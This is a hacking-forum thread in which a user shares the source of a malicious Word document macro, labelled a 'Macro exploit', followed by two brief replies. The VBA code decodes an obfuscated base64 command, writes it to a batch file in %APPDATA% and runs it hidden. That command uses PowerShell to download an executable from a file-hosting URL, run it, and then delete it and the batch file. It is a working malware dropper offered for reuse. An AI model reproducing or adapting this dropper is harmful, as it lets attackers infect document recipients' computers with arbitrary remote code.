Macro exploit

[kozak deex]

Hello comrades Kozak here
i will share my old macro Doc code ..i know its detected
but im not working on it
hope you like it

Function DecodeBase64(b64$)
Dim b
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64": .Text = b64
b = .nodeTypedValue
With CreateObject("ADODB.Stream")
.Open: .Type = 1: .write b: .Position = 0: .Type = 2: .Charset = "utf-8"
DecodeBase64 = .ReadText
.Close
End With
End With
End Function

Sub Macro()
Dim Msg
Msg = DecodeBase64("cG93ZXJzaGVsbCAtQ29tbWFuZCAiKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwczovL2Nkbi0xMjMuYW5vbmZpbGVzLmNvbS9MNGI4aTM1ZnE3LzBlNGNhODQ5LTE2MTQxMTAxMTYvSGFzaGVyLmV4ZScsICdwYWNrYWdlLmV4ZScpIiAmIHBvd2Vyc2hlbGwgLUNvbW1hbmQgIkludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLTEyMy5hbm9uZmlsZXMuY29tL0w0YjhpMzVmcTcvMGU0Y2E4NDktMTYxNDExMDExNi9IYXNoZXIuZXhlIC1PdXRGaWxlIHBhY2thZ2UuZXhlIiAmIHBhY2thZ2UuZXhlICYgZGVsIHBhY2thZ2UuZXhlICYgU0VUIHNvbWVPdGhlclByb2dyYW09MS5iYXQgJiBUQVNLS0lMTCAvSU0gIiVzb21lT3RoZXJQcm9ncmFtJSIgJiBERUwgIiV+ZjAi") ' Define message.

Dim objShell
Set objShell = CreateObject("WScript.Shell")
Dim appDataLocation
appDataLocation = objShell.ExpandEnvironmentStrings("%APPDATA%")

Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
Dim sImagePath
sImagePath = appDataLocation & "\1.bat"

Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(sImagePath)
oFile.WriteLine Msg
oFile.Close
Set fso = Nothing
Set oFile = Nothing

Set oFil = oFSO.GetFile(sImagePath)
ActiveDocument.Application.Selection.InlineShapes.AddPicture oFil.Path

RetVal = Shell(sImagePath, 0)
End Sub

 

[gurugod]

Are you working on something more efficient?

 

[gurugod]

.

 

[kozak deex]

Are you working on something more efficient?

Maybe